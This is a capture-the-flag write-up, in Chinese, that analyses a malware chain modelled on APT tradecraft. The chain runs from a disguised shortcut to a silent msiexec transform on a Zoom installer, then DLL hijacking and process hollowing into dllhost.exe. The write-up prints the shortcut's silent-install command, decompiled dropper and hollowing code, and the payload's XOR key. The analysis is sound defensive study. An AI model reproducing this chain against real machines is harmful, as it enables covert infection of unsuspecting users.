前言 零音以「スターエンド 101」队员的名义参加了 ISCTF 2025,并于周二 ALL CLEAR 了病毒分析赛道的 12 道题目。病毒分析对零音而言,一直是一个非常感兴趣但从未上手尝试过的领域,故这一次零音借助 ISCTF 的题目初探了这一领域。
本次 ISCTF 2025 的病毒分析题目是一道 极具实战意义的 高质量赛题。题目高度还原了知名 APT 组织「新海莲花」的经典攻击手法:利用 .rar 压缩包配合伪装的 .lnk 快捷方式进行投递,结合 Windows Installer (.msi) 的 Transform (.mst) 注入技术,将 恶意载荷 隐藏在 合法的软件安装包 中。这种 白+黑 的攻击链条设计精巧,不仅 绕过了常规的静态查杀 ,更对分析者的 逆向功底和取证思维 提出了双重考验。从最初的 文件提取 ,到中间的 Dropper 分析与 DLL 劫持 ,再到深层的 Process Hollowing 注入 ,直至最终的 C2 通信复原 ,整个过程环环相扣。
本文将通过 静态逆向与动态调试相结合 的方式,抽丝剥茧,完整复盘这一条完整的 APT 攻击链,揭开隐藏在合法 Zoom 安装包背后的真相。
Stage I「隐」 下载题目给出的附件文件 ISCTF.rar 并解压,得到如下文件:
1 2 3 4 5 6 7 8 ┌──(zeraith㉿stella16)-[/mnt/s/ISCTF_2025/Virus_Analysis/ISCTF] └─$ ls -la total 7968 drwxrwxrwx 1 zeraith zeraith 4096 Dec 3 21:53 . drwxrwxrwx 1 zeraith zeraith 4096 Dec 3 21:53 .. -rwxrwxrwx 1 zeraith zeraith 786432 Dec 1 19:54 fR6Wl -rwxrwxrwx 1 zeraith zeraith 2179 Dec 1 20:56 ISCTF基础规则说明文档.pdf.lnk -rwxrwxrwx 1 zeraith zeraith 7368704 Dec 1 19:54 TJe1w
其中 fR6Wl 和 Tje1w 两个文件在 Windows 文件资源管理器中设置了「隐藏」属性。由于 Windows 文件资源管理器的特性,.lnk 文件在显示名称时 不会显示扩展名 ,因此用户仅可见 ISCTF基础规则说明文档.pdf 这一部分。因此,对于经验不足的 Windows 用户而言,若未开启显示隐藏项目的功能,则看起来压缩包解压后的文件夹中 仅含有一个正常的 .pdf 文件 ,用户 极容易双击中招 。
右键该 .lnk 文件并查看属性,可见其目标为
1 C:\Windows \System32 \msiexec.exe /i Tje1w TRANSFORMS =fR6Wl /qn
该 .pdf.lnk 文件的目标为调起 msiexec
这是一个 Windows Installer 命令行,它请求 msiexec.exe 安装一个名为 Tje1w 的 .msi 安装包,并应用一个名为 fR6Wl 的 .mst 文件来动态修改原始 .msi 包的安装行为。/qn 表示 Quiet Mode 和 No UI ,这意味着整个过程将会 完全静默 地进行。这两个隐藏文件未使用 .msi 和 .mst 的扩展名,是为了 混淆用户和杀毒软件 ,让后者误以为其为普通的杂项文件。
值得注意的是,倘若用户直接双击 .lnk 文件,则会弹出 UAC 弹窗提示用户是否继续。在当前场景下,若用户关闭了 UAC,则双击后计算机会直接中招 。正因如此,零音建议 所有用户在日用情况下均不要关闭 UAC 功能 。
使用 Orca 分析 .mst 文件 接下来,我们使用 Orca 分析该 .msi 和 .mst 文件。为便于分析,下文我们将 TJe1w 重命名为 base.msi,将 fR6W1 重命名为 evil.mst。
安装 Orca 后打开,在菜单栏 File > Open 后选择 base.msi,再在菜单栏 Transform > Apply Transform 并选择 evil.mst 即可。注意到左侧出现了许多 Tables ,这些即为 .msi 预期对 Windows 做出的修改;而部分表的左侧出现了绿色竖线,这代表导入的 .mst 文件对 Windows 新增的修改。
考虑到一般 白+黑 的攻击策略,.msi 文件通常是 正常的白文件 。在本题中,base.msi 是 Zoom Remote Control Installer ,是合法的 Zoom 安装包。我们确信「白」不会对 Windows 造成危害,那么,「黑」(.mst)所做出的更改则需要加以关注。我们注意到,共有 4 个表 发生了更改:
表 Binary 表 Binary 通常是 掩藏二进制文件 的地方,一般用于存储 Payload。在这里,我们发现数据 zTool 具有 Data 为二进制数据。双击 [Binary Data] 后弹出窗口 Edit Binary Stream 后选择 Action 为 Write binary to file ,并指定一个 Filename 即可将二进制数据保存下来。我们将其存为 Payload.dll。
为什么是 dll?
在后文中我们将提到,CustomAction Type 为 2305,即 0x900 + 1。这里,1 代表 DLL stored in a Binary table stream ,即存储在 Binary 表中的 DLL 文件,而 0x900 则代表 deferred execution + no impersonation 。由此可以判断出该二进制文件是 .dll——当然,对于注意力涣散的朋友,亦可先导出,后使用 file 查看类型。
表 CustomAction 表 CustomAction 一般用于指定 程序安装过程中的自定义行为 。在这里,我们注意到条目 Action 名为 RunTools 的 CustomAction 具有 Type 为 2305(在前文已使用),其 Source 为 zTool,而 Target 为 Utils。Source 说明了它将会在运行过程中 自动执行 有关 Source 的内容,而 Target 作为 DLL 的导出函数名,则指出它将要执行的是 Source 的 Utils 函数。这昭示我们要逆向分析这个 DLL 的 Utils 函数。
表 File 表 File 中多出了一个条目,其 FileName 为 ZRC.DLL|zRC.dll。在实际分析过程中,我们事实上并未完全清楚该文件是什么以及其用途如何,故先保留。
表 InstallExecuteSequence 表 InstallExecuteSequence 指示软件安装过程中 各个行为的运行顺序 。这里,新增的条目 RunTools 的运行次序为 6601,即说明后门的植入将发生在安装结束后(考虑到 InstallFinalize 的 Sequence 为 6600)。
Stage II「跃」 逆向 DLL 的 Utils 函数 我们在前文提到了,我们需要逆向该 DLL 的 Utils 函数,这里我们使用 IDA Pro 完成这一点。在 IDA Pro 的左侧找到 Utils 函数,发现它由 三部分 构成。这里我们分别分析这三个子函数。
1 2 3 4 5 6 7 int Utils () { sub_10001E70(); sub_10002230(); sub_10002530(); return 0 ; }
Function 1「障眼」 函数原文
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 HRSRC __usercall sub_10001E70@<eax>(int a1@<ebp>) { HRSRC hResInfo; HRSRC hResInfo_1; HGLOBAL hResData; DWORD v4; LPVOID v5; __int128 *v6; _BYTE *v7; __int128 *p_p_lpFile; const WCHAR *lpFile; void *p_lpFile_2; int v11; int v12; int v13; int v14; _BYTE *v15; unsigned int n7; _BYTE v17[4 ]; int v18; int v19; void **p_??_7ios_base@std @@6B @; __int128 p_lpFile_1; __int64 v22; WCHAR pszPath_[264 ]; int *v24; struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList ; void *v26; int v27; int v28; void *v29; int v30; void *retaddr; v28 = a1; v29 = retaddr; v27 = -1 ; v26 = &loc_1001D986; ExceptionList = NtCurrentTeb()->NtTib.ExceptionList; v24 = &v30; hResInfo = FindResourceW(hModule, (LPCWSTR)0x65 , L"PDF" ); hResInfo_1 = hResInfo; if ( hResInfo ) { hResData = LoadResource(hModule, hResInfo); v4 = SizeofResource(hModule, hResInfo_1); v5 = LockResource(hResData); SHGetFolderPathW(0 , 5 , 0 , 0 , pszPath_); sub_100028D0(pszPath_); v27 = 0 ; v6 = (__int128 *)sub_10004CD0(aIsctf2025, 22 ); v22 = 0 ; p_lpFile_1 = 0 ; p_lpFile_1 = *v6; v22 = *((_QWORD *)v6 + 2 ); *((_DWORD *)v6 + 4 ) = 0 ; *((_DWORD *)v6 + 5 ) = 7 ; *(_WORD *)v6 = 0 ; LOBYTE(v27) = 2 ; if ( n7 > 7 ) { v7 = v15; if ( 2 * n7 + 2 >= 0x1000 ) { v7 = (_BYTE *)*((_DWORD *)v15 - 1 ); if ( (unsigned int )(v15 - v7 - 4 ) > 0x1F ) { sub_1000A8D1(2 * n7 + 37 , 0 , 0 , 0 , 0 , 0 ); goto LABEL_18; } } sub_10005E9C(v7); } sub_10007A70(&v18, 0 , 176 ); p_p_lpFile = &p_lpFile_1; if ( HIDWORD(v22) > 7 ) p_p_lpFile = (__int128 *)p_lpFile_1; sub_10004160(p_p_lpFile, v12, v13, v14); *(int *)((char *)&v18 + *(_DWORD *)(v18 + 4 )) = (int )&std ::ofstream::`vftable'; *(_DWORD *)&v17[*(_DWORD *)(v18 + 4)] = *(_DWORD *)(v18 + 4) - 104; LOBYTE(v27) = 3; sub_100036F0(v5, v4, 0); if ( !sub_10004670(&v19) ) sub_10001D10( *(int *)((char *)&v18 + *(_DWORD *)(v18 + 4) + 12) | (4 * (*(int *)((char *)&v18 + *(_DWORD *)(v18 + 4) + 56) == 0) + 2), 0); lpFile = (const WCHAR *)&p_lpFile_1; if ( HIDWORD(v22) > 7 ) lpFile = (const WCHAR *)p_lpFile_1; ShellExecuteW(0, L"open", lpFile, 0, 0, 1); *(int *)((char *)&v18 + *(_DWORD *)(v18 + 4)) = (int)&std::ofstream::`vftable' ; *(_DWORD *)&v17[*(_DWORD *)(v18 + 4 )] = *(_DWORD *)(v18 + 4 ) - 104 ; sub_10003640(); *(int *)((char *)&v18 + *(_DWORD *)(v18 + 4 )) = (int )&std ::ostream::`vftable'; *(_DWORD *)&v17[*(_DWORD *)(v18 + 4)] = *(_DWORD *)(v18 + 4) - 8; LOBYTE(v27) = 4; p_??_7ios_base@std@@6B@ = &std::ios_base::`vftable' ; hResInfo = (HRSRC)sub_10005A57(&p_??_7ios_base@std @@6B @); if ( HIDWORD(v22) > 7 ) { p_lpFile_2 = (void *)p_lpFile_1; if ( (unsigned int )(2 * HIDWORD(v22) + 2 ) < 0x1000 ) return (HRSRC)sub_10005E9C(p_lpFile_2); p_lpFile_2 = *(void **)(p_lpFile_1 - 4 ); v11 = 2 * HIDWORD(v22) + 37 ; if ( (unsigned int )(p_lpFile_1 - (_DWORD)p_lpFile_2 - 4 ) <= 0x1F ) return (HRSRC)sub_10005E9C(p_lpFile_2); LABEL_18: sub_1000A8D1(v11, 0 , 0 , 0 , 0 , 0 ); JUMPOUT(0x10002194 ); } } return hResInfo; }
下文分析函数 sub_10001E70。该函数为一个 Dropper ,释放一个 .pdf 文件。
1 2 3 4 hResInfo = FindResourceW(hModule, (LPCWSTR)0x65 , L"PDF" ); hResData = LoadResource(hModule, hResInfo); v5 = LockResource(hResData);
函数首先寻找一个 ID 为 101,类型为 PDF 的资源。
1 2 SHGetFolderPathW(0 , 5 , 0 , 0 , pszPath_);
随后,它获取用户的「文档」文件夹路径。
1 2 v6 = (__int128 *)sub_10004CD0(aIsctf2025, 22 );
对于字符串 aIsctf2025,若我们直接双击进入,发现 IDA Pro 并未正确识别 UTF-8 中文字符串。
这里有一个小技巧:确保光标放在 aIsctf2025 上后,在菜单栏中点选 Options > String Literals ,在弹出的窗口中点击上面的 Currently 按钮,选择 Encoding 为 UTF-16LE 。很有可能我们无法一次选择正确,需要反复尝试,直到 IDA Pro 成功识别。识别成功后,自动生成的变量名可能会发生改变。
继续函数分析。
1 2 3 4 5 6 sub_100036F0(v5, v4, 0 ); ShellExecuteW(0 , L"open" , lpFile, 0 , 0 , 1 );
这里,函数将内容写入文件并打开。该函数实为障眼法:在用户自认为打开了 .pdf 文件后,该函数写入并打开一个 .pdf 文件,以此欺骗用户该 .pdf 确为用户打开,从而确保其可以在后台 继续进行恶意行为 。
Function 2「匿身」 函数原文
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 HRSRC __usercall sub_10002230@<eax>(int a1@<ebp>) { HRSRC hResInfo; HRSRC hResInfo_1; HGLOBAL hResData; DWORD v4; LPVOID v5; int *n2147483646; int v7; int *v8; _BYTE *v9; __int128 *p_p_lpFile; void *p_lpFile_2; int v12; int v13; int v14; int v15; _BYTE *v16; unsigned int n7; _BYTE v18[4 ]; int v19; int v20; void **p_??_7ios_base@std @@6B @; __int128 p_lpFile_1; __int64 v23; WCHAR pszPath_[264 ]; int *v25; struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList ; void *v27; int v28; int v29; void *v30; int v31; void *retaddr; v29 = a1; v30 = retaddr; v28 = -1 ; v27 = &loc_1001D986; ExceptionList = NtCurrentTeb()->NtTib.ExceptionList; v25 = &v31; hResInfo = FindResourceW(hModule, (LPCWSTR)0x66 , L"DLL" ); hResInfo_1 = hResInfo; if ( hResInfo ) { hResData = LoadResource(hModule, hResInfo); v4 = SizeofResource(hModule, hResInfo_1); v5 = LockResource(hResData); SHGetFolderPathW(0 , 42 , 0 , 0 , pszPath_); n2147483646 = (int *)sub_100028D0(pszPath_); v28 = 0 ; v8 = sub_10004CD0(n2147483646, v7, L"\\ZoomRemoteControl\\bin\\zRCAppCore.dll" , 0x25u ); v23 = 0 ; p_lpFile_1 = 0 ; p_lpFile_1 = *(_OWORD *)v8; v23 = *((_QWORD *)v8 + 2 ); v8[4 ] = 0 ; v8[5 ] = 7 ; *(_WORD *)v8 = 0 ; LOBYTE(v28) = 2 ; if ( n7 > 7 ) { v9 = v16; if ( 2 * n7 + 2 >= 0x1000 ) { v9 = (_BYTE *)*((_DWORD *)v16 - 1 ); if ( (unsigned int )(v16 - v9 - 4 ) > 0x1F ) { sub_1000A8D1(2 * n7 + 37 , 0 , 0 , 0 , 0 , 0 ); goto LABEL_15; } } sub_10005E9C(v9); } sub_10007A70(&v19, 0 , 176 ); p_p_lpFile = &p_lpFile_1; if ( HIDWORD(v23) > 7 ) p_p_lpFile = (__int128 *)p_lpFile_1; sub_10004160(p_p_lpFile, v13, v14, v15); *(int *)((char *)&v19 + *(_DWORD *)(v19 + 4 )) = (int )&std ::ofstream::`vftable'; *(_DWORD *)&v18[*(_DWORD *)(v19 + 4)] = *(_DWORD *)(v19 + 4) - 104; LOBYTE(v28) = 3; sub_100036F0(v5, v4, 0); if ( !sub_10004670(&v20) ) sub_10001D10( *(int *)((char *)&v19 + *(_DWORD *)(v19 + 4) + 12) | (4 * (*(int *)((char *)&v19 + *(_DWORD *)(v19 + 4) + 56) == 0) + 2), 0); *(int *)((char *)&v19 + *(_DWORD *)(v19 + 4)) = (int)&std::ofstream::`vftable' ; *(_DWORD *)&v18[*(_DWORD *)(v19 + 4 )] = *(_DWORD *)(v19 + 4 ) - 104 ; sub_10003640(); *(int *)((char *)&v19 + *(_DWORD *)(v19 + 4 )) = (int )&std ::ostream::`vftable'; *(_DWORD *)&v18[*(_DWORD *)(v19 + 4)] = *(_DWORD *)(v19 + 4) - 8; LOBYTE(v28) = 4; p_??_7ios_base@std@@6B@ = &std::ios_base::`vftable' ; hResInfo = (HRSRC)sub_10005A57(&p_??_7ios_base@std @@6B @); if ( HIDWORD(v23) > 7 ) { p_lpFile_2 = (void *)p_lpFile_1; if ( (unsigned int )(2 * HIDWORD(v23) + 2 ) < 0x1000 ) return (HRSRC)sub_10005E9C(p_lpFile_2); p_lpFile_2 = *(void **)(p_lpFile_1 - 4 ); v12 = 2 * HIDWORD(v23) + 37 ; if ( (unsigned int )(p_lpFile_1 - (_DWORD)p_lpFile_2 - 4 ) <= 0x1F ) return (HRSRC)sub_10005E9C(p_lpFile_2); LABEL_15: sub_1000A8D1(v12, 0 , 0 , 0 , 0 , 0 ); JUMPOUT(0x1000252C ); } } return hResInfo; }
下文分析函数 sub_10002230。同上者,该函数为一个 Dropper,但释放的是 真正的攻击载荷 。
1 hResInfo = FindResourceW(hModule, (LPCWSTR)0x66 , L"DLL" );
函数加载了 ID 为 102,类型为 DLL 的资源。
1 2 SHGetFolderPathW(0 , 42 , 0 , 0 , pszPath_);
随后它获得了 C:\Program Files (x86) 的路径。
1 sub_10004CD0(L"\\ZoomRemoteControl\\bin\\zRCAppCore.dll" , 37 );
之后,它拼接完整路径,并将恶意 Payload 释放到 C:\Program Files (x86)\ZoomRemoteControl\bin\zRCAppCore.dll 处。该攻击使用了 DLL 劫持 :攻击者 payload.dll 通过使 Zoom 在启动时加载恶意库 zRCAppCore.dll,从而借 Zoom 执行恶意代码。后文中,zRCAppCore.dll 将作为我们的分析目标。
Function 3「灵隐」 函数原文
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 HRSRC __usercall sub_10002530@<eax>(int a1@<ebp>) { HRSRC hResInfo; HRSRC hResInfo_1; HGLOBAL hResData; DWORD v4; LPVOID v5; __int128 *v6; _BYTE *v7; __int128 *p_p_lpFile; void *p_lpFile_2; int v10; int v11; int v12; int v13; _BYTE *v14; unsigned int n7; _BYTE v16[4 ]; int v17; int v18; void **p_??_7ios_base@std @@6B @; __int128 p_lpFile_1; __int64 v21; WCHAR pszPath_[264 ]; int *v23; struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList ; void *v25; int v26; int v27; void *v28; int v29; void *retaddr; v27 = a1; v28 = retaddr; v26 = -1 ; v25 = &loc_1001D986; ExceptionList = NtCurrentTeb()->NtTib.ExceptionList; v23 = &v29; hResInfo = FindResourceW(hModule, (LPCWSTR)0x67 , L"SC" ); hResInfo_1 = hResInfo; if ( hResInfo ) { hResData = LoadResource(hModule, hResInfo); v4 = SizeofResource(hModule, hResInfo_1); v5 = LockResource(hResData); SHGetFolderPathW(0 , 42 , 0 , 0 , pszPath_); sub_100028D0(pszPath_); v26 = 0 ; v6 = (__int128 *)sub_10004CD0(L"\\ZoomRemoteControl\\bin\\zRC.dat" , 30 ); v21 = 0 ; p_lpFile_1 = 0 ; p_lpFile_1 = *v6; v21 = *((_QWORD *)v6 + 2 ); *((_DWORD *)v6 + 4 ) = 0 ; *((_DWORD *)v6 + 5 ) = 7 ; *(_WORD *)v6 = 0 ; LOBYTE(v26) = 2 ; if ( n7 > 7 ) { v7 = v14; if ( 2 * n7 + 2 >= 0x1000 ) { v7 = (_BYTE *)*((_DWORD *)v14 - 1 ); if ( (unsigned int )(v14 - v7 - 4 ) > 0x1F ) { sub_1000A8D1(2 * n7 + 37 , 0 , 0 , 0 , 0 , 0 ); goto LABEL_15; } } sub_10005E9C(v7); } sub_10007A70(&v17, 0 , 176 ); p_p_lpFile = &p_lpFile_1; if ( HIDWORD(v21) > 7 ) p_p_lpFile = (__int128 *)p_lpFile_1; sub_10004160(p_p_lpFile, v11, v12, v13); *(int *)((char *)&v17 + *(_DWORD *)(v17 + 4 )) = (int )&std ::ofstream::`vftable'; *(_DWORD *)&v16[*(_DWORD *)(v17 + 4)] = *(_DWORD *)(v17 + 4) - 104; LOBYTE(v26) = 3; sub_100036F0(v5, v4, 0); if ( !sub_10004670(&v18) ) sub_10001D10( *(int *)((char *)&v17 + *(_DWORD *)(v17 + 4) + 12) | (4 * (*(int *)((char *)&v17 + *(_DWORD *)(v17 + 4) + 56) == 0) + 2), 0); *(int *)((char *)&v17 + *(_DWORD *)(v17 + 4)) = (int)&std::ofstream::`vftable' ; *(_DWORD *)&v16[*(_DWORD *)(v17 + 4 )] = *(_DWORD *)(v17 + 4 ) - 104 ; sub_10003640(); *(int *)((char *)&v17 + *(_DWORD *)(v17 + 4 )) = (int )&std ::ostream::`vftable'; *(_DWORD *)&v16[*(_DWORD *)(v17 + 4)] = *(_DWORD *)(v17 + 4) - 8; LOBYTE(v26) = 4; p_??_7ios_base@std@@6B@ = &std::ios_base::`vftable' ; hResInfo = (HRSRC)sub_10005A57(&p_??_7ios_base@std @@6B @); if ( HIDWORD(v21) > 7 ) { p_lpFile_2 = (void *)p_lpFile_1; if ( (unsigned int )(2 * HIDWORD(v21) + 2 ) < 0x1000 ) return (HRSRC)sub_10005E9C(p_lpFile_2); p_lpFile_2 = *(void **)(p_lpFile_1 - 4 ); v10 = 2 * HIDWORD(v21) + 37 ; if ( (unsigned int )(p_lpFile_1 - (_DWORD)p_lpFile_2 - 4 ) <= 0x1F ) return (HRSRC)sub_10005E9C(p_lpFile_2); LABEL_15: sub_1000A8D1(v10, 0 , 0 , 0 , 0 , 0 ); JUMPOUT(0x1000282C ); } } return hResInfo; }
下文分析函数 sub_10002530。
1 2 hResInfo = FindResourceW(hModule, (LPCWSTR)0x67 , L"SC" );
该函数读取一个 ID 为 103 的 SC 类型资源。
1 sub_10004CD0(L"\\ZoomRemoteControl\\bin\\zRC.dat" , 30 );
随后将其释放到 C:\Program Files (x86)\ZoomRemoteControl\bin\zRC.dat 中。考虑到后缀名为 .dat,我们认为它可能是 加密的数据或二进制代码 。
使用 Resource Hacker 提取文件 根据前文,我们在 Resource Hacker 中加载 payload.dll,并从中提取出我们所需的两个文件,其一为 DLL 中 ID 为 102 的 zRCAppCore.dll,另一为 SC 中 ID 为 103 的 zRC.dat。
例如,提取 zRCAppCore.dll 时,我们在 Resource Hacker 的左侧列表中右键 DLL 下的 102 : 2052,并点击 “Save .bin resource…” 以将目标文件提取并保存到工作目录下。
在 Resource Hacker 中提取 zRCAppCore.dll
分析 zRCAppCore.dll 提取结束后,我们在 IDA Pro 中打开 zRCAppCore.dll,从入口点函数 DllEntryPoint 展开分析。
1 2 3 4 5 6 BOOL __stdcall DllEntryPoint (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { if ( fdwReason == 1 ) sub_100018BE(); return sub_100015F2(hinstDLL, fdwReason, lpReserved); }
其中 sub_100018BE() 是编译器生成的 保护代码(Stack Canary) ,故我们继续分析 sub_100015F2。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 int __cdecl sub_100015F2 (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { void *lpReserved_1; int v5; int v6; if ( !fdwReason && dword_1001B908 <= 0 ) return 0 ; if ( fdwReason != 1 && fdwReason != 2 ) { lpReserved_1 = lpReserved; LABEL_9: v6 = sub_100013B0(hinstDLL, fdwReason, lpReserved_1); v5 = v6; if ( fdwReason == 1 && !v6 ) { sub_100013B0(hinstDLL, 0 , lpReserved_1); sub_1000153B(lpReserved_1 != 0 ); sub_10001700(hinstDLL, 0 , lpReserved_1); } if ( !fdwReason || fdwReason == 3 ) { v5 = sub_100013DE(hinstDLL, fdwReason, lpReserved_1); if ( v5 ) return sub_10001700(hinstDLL, fdwReason, lpReserved_1); } return v5; } lpReserved_1 = lpReserved; v5 = sub_10001700(hinstDLL, fdwReason, lpReserved); if ( v5 ) { v5 = sub_100013DE(hinstDLL, fdwReason, lpReserved); if ( v5 ) goto LABEL_9; } return v5; }
分析可得 LABEL_9 处调起的 sub_100013B0 为该 .dll 文件的 主要业务逻辑函数 ,故我们继续分析该函数。
1 2 3 4 5 6 7 8 9 int __stdcall sub_100013B0 (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { if ( fdwReason == 1 ) { sub_10001050(); ExitProcess(0 ); } return 1 ; }
继续跟踪 sub_10001050。简要分析后可知,该函数是一段典型的 进程空心化 / 傀儡进程(Process Hollowing) 恶意代码,这是一种注入技术,用来在 合法进程 的掩护下执行恶意代码。下面对该函数的行为进行剖析:
sub_10001050 函数原文
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 BOOL sub_10001050 () { HMODULE hModule; _BYTE *v1; HANDLE hFile; _DWORD *lpBuffer; SIZE_T nNumberOfBytesToRead_1; char *v5; HMODULE hModule_1; FARPROC NtUnmapViewOfSection; LPVOID *v8; void *lpBaseAddress; int v10; SIZE_T nSize; SIZE_T nNumberOfBytesToRead; signed int nNumberOfBytesToReada; char *v15; _PROCESS_INFORMATION ProcessInformation; int Buffer; CONTEXT Context; DWORD NumberOfBytesRead; _STARTUPINFOA StartupInfo; _DWORD zRC.dat_[3 ]; CHAR Filename[264 ]; char v23[264 ]; CHAR FileName[268 ]; Context.ContextFlags = 65543 ; memset (&StartupInfo.lpReserved, 0 , 40 ); ProcessInformation = 0 ; StartupInfo.cb = 68 ; StartupInfo.dwFlags = 1 ; memset (&StartupInfo.wShowWindow, 0 , 20 ); hModule = GetModuleHandleW(L"zRCAppCore.dll" ); if ( GetModuleFileNameA(hModule, Filename, 0x104u ) ) { v1 = (_BYTE *)sub_10002120(Filename, 92 ); if ( v1 ) { *v1 = 0 ; sub_10006410(v23, 260 , Filename); strcpy ((char *)zRC.dat_, "zRC.dat" ); sub_10001010(FileName, 260 , "%s\\%s" , v23, (const char *)zRC.dat_); } } CreateProcessA(0 , (LPSTR)"C:\\Windows\\System32\\dllhost.exe" , 0 , 0 , 0 , 4u , 0 , 0 , &StartupInfo, &ProcessInformation); hFile = CreateFileA(FileName, 0x80000000 , 1u , 0 , 3u , 0 , 0 ); nNumberOfBytesToRead = GetFileSize(hFile, 0 ); lpBuffer = VirtualAlloc(0 , nNumberOfBytesToRead, 0x3000u , 4u ); ReadFile(hFile, lpBuffer, nNumberOfBytesToRead, &NumberOfBytesRead, 0 ); CloseHandle(hFile); nNumberOfBytesToRead_1 = 0 ; strcpy ((char *)zRC.dat_, "tf7*TV&8un" ); if ( nNumberOfBytesToRead ) { do { *((_BYTE *)lpBuffer + nNumberOfBytesToRead_1) ^= *((_BYTE *)zRC.dat_ + nNumberOfBytesToRead_1 % 9 ); ++nNumberOfBytesToRead_1; } while ( nNumberOfBytesToRead_1 < nNumberOfBytesToRead ); } v5 = (char *)lpBuffer + lpBuffer[15 ]; v15 = v5; GetThreadContext(ProcessInformation.hThread, &Context); ReadProcessMemory(ProcessInformation.hProcess, (LPCVOID)(Context.Ebx + 8 ), &Buffer, 4u , 0 ); hModule_1 = GetModuleHandleA("ntdll.dll" ); NtUnmapViewOfSection = GetProcAddress(hModule_1, "NtUnmapViewOfSection" ); v8 = (LPVOID *)(v5 + 52 ); if ( Buffer == *((_DWORD *)v5 + 13 ) ) { ((void (__stdcall *)(HANDLE, int ))NtUnmapViewOfSection)(ProcessInformation.hProcess, Buffer); v8 = (LPVOID *)(v5 + 52 ); } lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, *v8, *((_DWORD *)v5 + 20 ), 0x3000u , 0x40u ); nSize = *((_DWORD *)v5 + 21 ); zRC.dat_[0 ] = lpBaseAddress; WriteProcessMemory(ProcessInformation.hProcess, lpBaseAddress, lpBuffer, nSize, 0 ); nNumberOfBytesToReada = 0 ; if ( *((_WORD *)v5 + 3 ) ) { v10 = 0 ; do { WriteProcessMemory( ProcessInformation.hProcess, (LPVOID)(zRC.dat_[0 ] + *(_DWORD *)((char *)&lpBuffer[v10 + 65 ] + lpBuffer[15 ])), (char *)lpBuffer + *(_DWORD *)((char *)&lpBuffer[v10 + 67 ] + lpBuffer[15 ]), *(_DWORD *)((char *)&lpBuffer[v10 + 66 ] + lpBuffer[15 ]), 0 ); v10 += 10 ; ++nNumberOfBytesToReada; } while ( nNumberOfBytesToReada < *((unsigned __int16 *)v15 + 3 ) ); v5 = v15; } Context.Eax = zRC.dat_[0 ] + *((_DWORD *)v5 + 10 ); WriteProcessMemory(ProcessInformation.hProcess, (LPVOID)(Context.Ebx + 8 ), v5 + 52 , 4u , 0 ); SetThreadContext(ProcessInformation.hThread, &Context); ResumeThread(ProcessInformation.hThread); CloseHandle(ProcessInformation.hThread); return CloseHandle(ProcessInformation.hProcess); }
1 2 3 4 GetModuleFileNameA(hModule, Filename, 0x104u ); strcpy ((char *)zRC.dat_, "zRC.dat" ); sub_10001010(FileName, 260 , "%s\\%s" , v23, (const char *)zRC.dat_);
首先,函数构造了 zRC.dat 的路径。
1 CreateProcessA(0 , (LPSTR)"C:\\Windows\\System32\\dllhost.exe" , ..., 4u , ...);
其次,函数启动了一个合法系统进程 dllhost.exe,但以参数 4u 即 CREATE_SUSPENDED,即,启动后,线程是 挂起的 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 hFile = CreateFileA(FileName, ...); strcpy ((char *)zRC.dat_, "tf7*TV&8un" ); if ( nNumberOfBytesToRead ){ do { *((_BYTE *)lpBuffer + nNumberOfBytesToRead_1) ^= *((_BYTE *)zRC.dat_ + nNumberOfBytesToRead_1 % 9 ); ++nNumberOfBytesToRead_1; } while ( ... ); }
随后,函数读取并解密 Payload。这里,函数使用了 循环异或运算 ,以字符串 tf7*TV&8un 的前 9 个字符(考虑到 % 9)作为密钥。
1 2 3 4 5 NtUnmapViewOfSection(...); VirtualAllocEx(...); WriteProcessMemory(...); SetThreadContext(...); ResumeThread(...);
最后,函数卸载目标进程的原始映像,分配新内存,修复重定位和入口点,并最终恢复 dllhost.exe 的执行。这样,恶意代码在 dllhost.exe 内部执行,但其 外观上是合法的 Windows 进程 ,恶意代码以此做到隐蔽。
解密 zRC.dat 基于上文的分析,我们使用同样的异或算法解密 zRC.dat 即可。这里给出一份可用的 Python 代码。解密后可得,解密得到的 zRC_decrypted.bin 确为 PE 文件。
